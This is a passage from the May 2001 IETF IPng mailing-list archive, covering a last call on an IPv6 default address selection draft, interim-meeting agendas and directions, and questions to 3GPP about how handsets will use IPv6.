(engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PLCAe05171 for ; Fri, 25 May 2001 14:12:10 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA18393 for ; Fri, 25 May 2001 14:12:16 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29248 for ; Fri, 25 May 2001 14:12:16 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA24166; Fri, 25 May 2001 14:12:16 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f4PLCDD19140; Fri, 25 May 2001 14:12:13 -0700 X-mProtect: Fri, 25 May 2001 14:12:13 -0700 Nokia Silicon Valley Messaging Protection Received: from spruce.iprg.nokia.com (205.226.1.63) by darkstar.iprg.nokia.com(P1.5 smtpdmh5UjV; Fri, 25 May 2001 14:12:11 PDT Message-Id: <4.3.2.7.2.20010525135810.0225bee8@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 25 May 2001 14:11:52 -0700 To: itojun@iijlab.net From: Bob Hinden Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" Cc: Bob Hinden , ipng@sunroof.eng.sun.com In-Reply-To: <17336.990744654@itojun.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Itojun, > were there concrete agreement made about > standard-track/informational? > i find the following on IETF50 minutes, nothing else (correct me > if i'm wrong). were there any poll on mailing list made? > >http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001.txt Steve Deering and I concluded that it is important for "Default Address Selection for IPv6" to be standards track to insure that all implementations had the same default behavior. Otherwise there might be an interoperability problems. I think the discussion at the last IETF meeting supported this approach, but the minutes, as you pointed out, could have been clearer. Thanks, Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 14:36:18 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PLZbn05214 for ipng-dist; Fri, 25 May 2001 14:35:37 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PLZYe05207; Fri, 25 May 2001 14:35:34 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA22472; Fri, 25 May 2001 14:35:40 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA06899; Fri, 25 May 2001 14:35:25 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA25439; Fri, 25 May 2001 14:35:24 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f4PLZNh08144; Fri, 25 May 2001 14:35:23 -0700 X-mProtect: Fri, 25 May 2001 14:35:23 -0700 Nokia Silicon Valley Messaging Protection Received: from spruce.iprg.nokia.com (205.226.1.63) by darkstar.iprg.nokia.com(P1.5 smtpdY675Aa; Fri, 25 May 2001 14:35:19 PDT Message-Id: <4.3.2.7.2.20010525141837.022519e8@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 25 May 2001 14:34:58 -0700 To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com From: Bob Hinden Subject: (REVISED) DRAFT - IPng/NGTRANS Interim Meeting Agenda Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk [There was an error on the ending time on 6/1/2001 and added a speaker for IPv6 dialup session] Attached is the draft agenda for next weeks interim IPng and NGTRANS working group meetings. Please send requests for additional agenda topics to the chairs of the appropriate working group. ------------------------------------------------------------- Wednesday, May 30, 2001 0900-1700 ---------------------------------- Joint meeting between IPng Working Group and 3GPP ------------------------------------------------- 9:00 Introduction / Steve Deering & Bob Hinden (15 min) Local Arrangements / Christian Huitema (15 min) 3GPP Architecture / Shabnam Sultana (60 min) 10:30 Break (15 min) 11:45 3GPP QoS architecture / Bonnie Chen (30 min) Answers to IETF questions (1) / TBD (60 min) 12:15 Lunch (90 min) 13:45 Answers to IETF questions (2) / TBD (60 min) 3GPP documents structure and relevance to IPV6 (15 min) 15:00 Break (30 min) 15:30 3GPP2 Overview / Pat Calhoun (45 min) Follow up Discussion / Action Points (45 min) 17:00 Adjourn Thursday, May 31, 2001 0900-1700 --------------------------------- IPng Working Group ------------------ 09:00 Introduction / Steve Deering & Bob Hinden (5 min) Multi-Link Subnets / Dave Thaler (45 min) Router Selection / Rich Draves (30 min) 10:20 Break (15 min) 10:35 Ingress Filtering / Rich Draves (45 min) Dialup Architecture / Jun-ichiro itojun Hagino (40 min) 12:00 Lunch (90 min) 13:30 DAD Reduction / Markku Savela (30 min) Comments on Address Selection Last Call / Rich Draves (15 min) Updates to Addressing Architecture / Bob Hinden (15 min) Flow Label Discussion / Steve Deering (60 min) 15:30 Break (30 min) 16:00 DNS Discovery / Dave Thaler (30 min) Scoped Address Architecture / Steve Deering (60 min) 17:30 Adjourn Friday, June 1, 2001 0900-1700 ------------------------------------------- IPng Working Group ------------------ 09:00 Reserved for additional items 10:30 Break (15 min) 10:45 Reserved for additional items 12:00 Lunch (90 min) NGTRANS Working Group --------------------- 13:30 ISATAP - Intra-site tunneling 15:00 Break (30 min) 15:30 Matrix of transition mechanisms 17:00 Meeting Adjourned -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 28 03:06:26 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4SA5sG07120 for ipng-dist; Mon, 28 May 2001 03:05:54 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4SA5pe07113 for ; Mon, 28 May 2001 03:05:51 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA00397 for ; Mon, 28 May 2001 03:05:57 -0700 (PDT) Received: from TWNT01.teleware.fi (mail.teleware.fi [193.65.76.33]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA10734 for ; Mon, 28 May 2001 03:05:54 -0700 (PDT) Received: by TWNT01.teleware.fi with Internet Mail Service (5.5.2650.21) id ; Mon, 28 May 2001 13:05:52 +0300 Message-ID: <20E5886B5437D511A2AC005004992A71035723@twnt0.teleware.fi> From: Anssi Porttikivi To: ipng@sunroof.eng.sun.com Subject: RE: IPv6 Forum: Ottawa slides all online Date: Mon, 28 May 2001 13:07:17 +0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk BTW, the (nice) slides are on the page Global IPv6 Summit in Ottawa Presentations Index http://www.ipv6forum.com/navbar/events/ottawa01/presentations/index.html -----Original Message----- From: Tim Chown [mailto:tjc@ecs.soton.ac.uk] Sent: 21. toukokuuta 2001 23:42 To: members@ipv6forum.com Cc: ipng@sunroof.eng.sun.com Subject: IPv6 Forum: Ottawa slides all online Hi, The complete set of slides from the Ottawa IPv6 Summit are now all online, as HTML, Powerpoint and PDF documents. Tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 28 06:37:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4SDYq807287 for ipng-dist; Mon, 28 May 2001 06:34:52 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4SDYne07280 for ; Mon, 28 May 2001 06:34:49 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA06066 for ; Mon, 28 May 2001 06:34:37 -0700 (PDT) Received: from mercury.ukc.ac.uk (mercury.ukc.ac.uk [129.12.21.10]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA02756 for ; Mon, 28 May 2001 06:34:35 -0700 (PDT) Received: from pelican.ukc.ac.uk ([129.12.200.26]) by mercury.ukc.ac.uk with esmtp (Exim 3.22 #4) id 154NA7-0005Y3-00; Mon, 28 May 2001 14:34:23 +0100 Received: from pccomm4.ukc.ac.uk ([129.12.50.119] helo=ukc.ac.uk) by pelican.ukc.ac.uk with esmtp (Exim 3.22 #3) id 154NAC-0001wn-00; Mon, 28 May 2001 14:34:28 +0100 Message-ID: <3B1253E3.559F51FC@ukc.ac.uk> Date: Mon, 28 May 2001 14:34:27 +0100 From: Kumarendra Sivarajah X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: "mobile-ip@sunroof.eng.sun.com" , ipng Subject: Books on QoS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, Can someone suggest me a good book for measuring QoS in an IP network. Else a webpage with good resources. Thanks INdran -- /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ \ Kumarendra Sivarajah (INdran) / / Electronics Engineering Laboratory \ \ University of Kent at Canterbury / / Telephone(Office): +44 (0)1227 823257 \ \ Telephone(Mobile): +44 (0)7765 007016 / \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 07:43:46 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TEhBN08385 for ipng-dist; Tue, 29 May 2001 07:43:11 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TEh7e08378; Tue, 29 May 2001 07:43:07 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA08906; Tue, 29 May 2001 07:43:14 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA00587; Tue, 29 May 2001 08:43:38 -0600 (MDT) Received: from mira-sjcd-4.cisco.com (mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TEhA918166; Tue, 29 May 2001 07:43:10 -0700 (PDT) Received: from [10.19.130.188] (deering-dsl3.cisco.com [10.19.130.188]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id AAQ92235; Tue, 29 May 2001 07:43:09 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: Date: Tue, 29 May 2001 07:43:06 -0700 To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com From: Steve Deering Subject: parking at IPv6 Interim Meeting Cc: 3GPP_TSG_SA_WG2@LIST.ETSI.FR Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Here's some late info on parking at the IPv6 meeting this week in Redmond, and directions to the meeting room. This is best understood by reference to the online maps reachable from: http://research.microsoft.com/ietf-ipv6-meeting/location.asp The meeting is in the Adams Room in an annex to building 43 on the main Microsoft Campus (note: *not* at the Microsoft Research campus, which is on the other side of highway 520). Here's what Brian Zill told us: This room is one of the three "Meeting Rooms" located in a separate annex north of Bldg 43 (right near the cafeteria). It's attached to Bldg 43, but you need a key card to get through from there. We should instead direct people to the courtyard entrance, there are signs labeled "Meeting Rooms" that point to it. From the underground parking garage, there are stairs at the north end that lead right up to this courtyard which you don't need a card key to access. There are also two different types of elevator banks in the garage, the ones marked "Visitor Elevator and Stairs" don't require a card key and dump you out on the 1st floor of Bldg 43 (or 42). If people use those, they should then immediately exit the building and walk to the north end of the courtyard where the meeting rooms entrance is. While there are several "visitor parking" spaces in the courtyard, I think we should direct these folks to the garage instead since you have to register with the Bldg receptionist if you use the visitor spaces and don't want your car to be towed. Hopefully we can let all these people in/out of the meeting rooms without having to get visitor badges for them all, that would be a pain. Since the meeting rooms have their own entrance, I would expect that to be okay. The best entrance to the garage is off NE 31st street, which runs east-west directly south of Bldgs 42 and 43. There is also an entrance from the southbound lanes of 156th Ave NE, but the road divider prevents you from turning into that if you're headed north. Parking is free and unrestricted (just avoid parking in the spaces marked for handicapped or car-pools). Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 09:49:28 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TGmgm08580 for ipng-dist; Tue, 29 May 2001 09:48:42 -0700 (PDT) Received: from jurassic.eng.sun.com (jurassic [129.146.82.166] (may be forged)) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TGmbe08573 for ; Tue, 29 May 2001 09:48:37 -0700 (PDT) Received: from rouget.sun.com (dsl197-48.Eng.Sun.COM [129.146.197.48]) by jurassic.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TGn4b532675; Tue, 29 May 2001 09:49:05 -0700 (PDT) Message-Id: <5.1.0.14.0.20010529094827.03a9d960@jurassic.eng> X-Sender: durand@jurassic.eng X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 29 May 2001 09:53:42 -0700 To: Bob Hinden , ipng@sunroof.eng.sun.com From: Alain Durand Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 02:26 PM 5/24/2001 -0700, Bob Hinden wrote: >This is a IPng working group last call for comments on advancing the >following document as a Proposed Standard: > > Title : Default Address Selection for IPv6 > Author(s) : R. Draves > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > Pages : 20 > Date : 14-May-01 > >Please send substantive comments to the ipng mailing list, and minor >editorial comments to the author. This last call period will end two >week from today on June 7, 2001. The NGtrans wg is looking at the ISATAP proposal draft-ietf-ngtrans-isatap-01.txt that may or may not have impact on default address selection. We will discuss this issue at the upcoming Interim Meeting in Seattle on Friday. - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 09:55:44 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TGtI808606 for ipng-dist; Tue, 29 May 2001 09:55:18 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TGsne08599 for ; Tue, 29 May 2001 09:54:49 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03313 for ; Tue, 29 May 2001 09:54:57 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA13486 for ; Tue, 29 May 2001 10:54:55 -0600 (MDT) Received: from kenawang ([192.168.1.79]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id JAA01079 for ; Tue, 29 May 2001 09:54:43 -0700 (PDT) Message-Id: <4.2.2.20010529125707.01cf16f0@localhost> X-Sender: mrfpop@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 29 May 2001 12:59:34 -0400 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: Re: ipngwg / ngtrans interim meeting In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Bob and/or Steve, Is there an updated agenda for the Interim meeting this week? The meeting website promises an update "nearer to the meeting date", but it is getting pretty close :-). I apologize if an updated agenda was sent to the IPng mailing list and I have somehow missed or deleted it... But, if so, could someone resend it to me? Thanks, Margaret At 05:56 PM 4/24/01 , Steve Deering wrote: >Information about the interim meeting of the IPv6 working >groups on May 30, 31, and June 1 is now available at http://research.microsoft.com/ietf-ipv6-meeting. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 11:07:26 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TI6Ts08726 for ipng-dist; Tue, 29 May 2001 11:06:29 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TI6Qe08719 for ; Tue, 29 May 2001 11:06:26 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA26080 for ; Tue, 29 May 2001 11:06:32 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA01526 for ; Tue, 29 May 2001 11:06:28 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA09533; Tue, 29 May 2001 11:06:27 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f4TI6Q513891; Tue, 29 May 2001 11:06:26 -0700 X-mProtect: Tue, 29 May 2001 11:06:26 -0700 Nokia Silicon Valley Messaging Protection Received: from spruce.iprg.nokia.com (205.226.1.63) by darkstar.iprg.nokia.com(P1.5 smtpdaU7fBg; Tue, 29 May 2001 11:06:23 PDT Message-Id: <4.3.2.7.2.20010529110401.022124b0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 29 May 2001 11:05:58 -0700 To: Margaret Wasserman From: Bob Hinden Subject: Re: ipngwg / ngtrans interim meeting Cc: ipng@sunroof.eng.sun.com In-Reply-To: <4.2.2.20010529125707.01cf16f0@localhost> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, The updated agenda will be posted on the web site today. Here is another copy. Bob ------------------------------------------------------------- Wednesday, May 30, 2001 0900-1700 ---------------------------------- Joint meeting between IPng Working Group and 3GPP ------------------------------------------------- 9:00 Introduction / Steve Deering & Bob Hinden (15 min) Local Arrangements / Christian Huitema (15 min) 3GPP Architecture / Jonne Soininen (60 min) 10:30 Break (15 min) 11:45 3GPP QoS architecture / Bonnie Chen (30 min) Answers to IETF questions (1) / TBD (60 min) 12:15 Lunch (90 min) 13:45 Answers to IETF questions (2) / TBD (60 min) 3GPP documents structure and relevance to IPV6 (15 min) 15:00 Break (30 min) 15:30 3GPP2 Overview / Pat Calhoun (45 min) Follow up Discussion / Action Points (45 min) 17:00 Adjourn Thursday, May 31, 2001 0900-1700 --------------------------------- IPng Working Group ------------------ 09:00 Introduction / Steve Deering & Bob Hinden (5 min) Multi-Link Subnets / Dave Thaler (45 min) Router Selection / Rich Draves (30 min) 10:20 Break (15 min) 10:35 Ingress Filtering / Rich Draves (45 min) Dialup Architecture / Jun-ichiro itojun Hagino (40 min) 12:00 Lunch (90 min) 13:30 DAD Reduction / Markku Savela (30 min) Comments on Address Selection Last Call / Rich Draves (15 min) Updates to Addressing Architecture / Bob Hinden (15 min) Flow Label Discussion / Steve Deering (60 min) 15:30 Break (30 min) 16:00 DNS Discovery / Dave Thaler (30 min) Scoped Address Architecture / Steve Deering (60 min) 17:30 Adjourn Friday, June 1, 2001 0900-1700 ------------------------------------------- IPng Working Group ------------------ 09:00 Reserved for additional items 10:30 Break (15 min) 10:45 Reserved for additional items 12:00 Lunch (90 min) NGTRANS Working Group --------------------- 13:30 ISATAP - Intra-site tunneling 15:00 Break (30 min) 15:30 Matrix of transition mechanisms 17:00 Meeting Adjourned -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 11:42:11 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TIfEw08799 for ipng-dist; Tue, 29 May 2001 11:41:14 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TIfCe08792 for ; Tue, 29 May 2001 11:41:12 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4TIbSE01335 for ipng@sunroof.eng.sun.com; Tue, 29 May 2001 11:37:28 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4S8hle07081 for ; Mon, 28 May 2001 01:43:47 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA21091 for ; Mon, 28 May 2001 01:43:52 -0700 (PDT) Received: from artemis.rus.uni-stuttgart.de (artemis.rus.uni-stuttgart.de [129.69.1.28]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA12876 for ; Mon, 28 May 2001 01:43:50 -0700 (PDT) Received: from ksat10 (ksat10.rus.uni-stuttgart.de [129.69.30.170]) by artemis.rus.uni-stuttgart.de with SMTP id KAA16566; Mon, 28 May 2001 10:43:45 +0200 (MET DST) env-from (christ@rus.uni-stuttgart.de) From: "Paul Christ" To: "Thomas Narten" , Cc: <3GPP_TSG_SA_WG2@LIST.ETSI.FR>, "IST Moby Dick" Subject: AW: IPng interim meeting and 3GPP Date: Mon, 28 May 2001 10:51:10 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200105241808.f4OI8uo01253@hygro.adsl.duke.edu> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dear all, is your discussion - and if yes - how - related to the "UPT discussion" (Universal Personal Telecommunication) of the IAB Wireless Internetworking Workshop February/March 2000 (see RFC 3002, 3.3.1 Discussion on User Identity)? If not - who is pursuing questions of a User Identity model? Thanks Paul Christ IST project MobyDick University of Stuttgart > -----Ursprüngliche Nachricht----- > Von: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]Im Auftrag von Thomas Narten > Gesendet: Donnerstag, 24. Mai 2001 20:09 > An: ipng@sunroof.eng.sun.com > Betreff: IPng interim meeting and 3GPP > > > As you know, the first day of the upcoming interim meeting in Seattle > has been set aside for discussions with 3GPP on matters of IPv6. In > preparation for this, The IETF IPv6 directorate put together a number > of questions for 3GPP (appended below). Those questions were discussed > at a recent 3GPP meeting and I'm including a response from Stephen > Hayes, one of the 3GPP TSG chairs. > > I'm looking forward to a productive meeting in Seattle. > > Thomas > > From: Thomas Narten > To: 3GPP_TSG_SA_WG2@LIST.ETSI.FR > cc: Mikko Puuskari , > "Stephen Hayes (EUS)" > Date: Sun, 13 May 2001 15:29:32 -0400 > Subject: IPv6 Questions on 3GPP [Joint IETF-IPv6 / 3GPP meeting] > > The following set of questions was put together by the IPv6 > Directorate after an initial study of some 3GPP documents. This note > is intended to start a dialog between the 3GPP & IETF communities on > IPv6. > > Thomas Narten > > 3GPP is including IPv6 in its Release 5 specifications, an action that > excites the IETF IPv6 community greatly. The 3GPP work will be an > important driver for IPv6 deployment. Having said that, the IPv6 > community has only a very limited understanding of how IPv6 will be > used by 3GPP, e.g., which RFCs will be used, in what parts of the > system they will be used, which parts are required and which are > optional, etc. We believe that it is in our mutual interest to > understand and educate each other on our perspectives on how IPv6 can > best be used to your advantage, which components (e.g., which RFCs) > are needed, whether there are any missing pieces, etc. > > The IETF IPng WG will be holding an interim meeting in Seattle, WA > starting May 30. The first day of meeting has been reserved for a > joint meeting with members from 3GPP. It is our hope that such a > meeting will facilitate direct technical interactions between 3GPP and > IETF engineers on IPv6 issues. > > The following describes some general areas where we have some specific > questions. These questions were put together after looking at some > 3GPP documents that make reference to IPv6, including 23.060 and > 23.221. > > - What is the addressing model for the network and handsets? Will each > handset be given a single 128-bit address and no more? Or will each > handset be given its own /64 (e.g. an entire network) so that it can > connect additional devices, say through a bluetooth or 802.11 > interface? > > A related question is how many additional devices (e.g., a laptop) > will be able to connect to a handset (e.g., via bluetooth) and use > IP. Doing so would suggest each device would need an IPv6 address > and both the handset and the device being on the same subnet. One > way of providing such a capability would be to have each handset be > a router for a /64 subnet. Is such a configuration envisioned now, > or in the future? > > - What parts of Neighbor Discovery (RFC 2461) will be implemented on > handsets? All of it? How will handsets using IPv6 communicate with > each other when on the same subnetwork (or link in IPv6 > terminology)? Is ND needed to resolve addresses or does the handset > view its connection to the network as a point-to-point link with a > router on the other end (i.e., the GGSN)? > > - What is the scope of problem for which IPv6 is viewed as a solution? > I.e., what features of IPv6 are needed immediately, and which are > assumed to be of interest at some later point in the future? > > - How permanent are the IPv6 addresses that are assigned to handsets? > From our understanding, interface identifiers are assigned by the > GGSN, and handsets then form addresses by combining the interface > identifier with a prefix learned through Router Advertisements > (RAs). Is it envisioned that information specific to the mobile will > be used to form the interface identifier (e.g., IMSI)? Or will the > interface identifier assigned to a handset change over time (e.g., > if it is power cycled or moves)? This question is important as it > will determine whether addresses are effectively permanent in the > sense that it will be stable for weeks or more. > > In the case that addresses remain stable for weeks or longer, are > any of the concerns raised in RFC 3041 viewed as applicable? > > - Will handsets be dual stack (i.e., support both IPv4 and IPv6) or > will they support only IPv6? Some of the documents suggest that in > the IM domain, IPv6 will be used "exclusively". Does that > specifically mean that IPv6 must be supported and the IPv4 doesn't > apply? > > - Where will IPsec (RFC 2401) be used? Will IPsec be implemented on > the handset (to provide true end-to-end encryption) or will IPsec > terminate at the GGSN, with the remainder of the path (from the GGSN > to the handset) protected by 